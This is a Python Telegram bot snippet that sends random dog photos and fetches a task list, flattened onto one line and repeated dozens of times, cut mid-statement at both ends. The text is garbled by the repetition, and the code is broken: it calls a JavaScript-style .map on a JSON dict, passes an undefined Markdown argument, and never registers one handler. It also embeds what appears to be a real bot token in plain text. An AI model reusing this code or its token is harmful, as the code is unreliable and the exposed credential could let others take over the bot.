'__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = 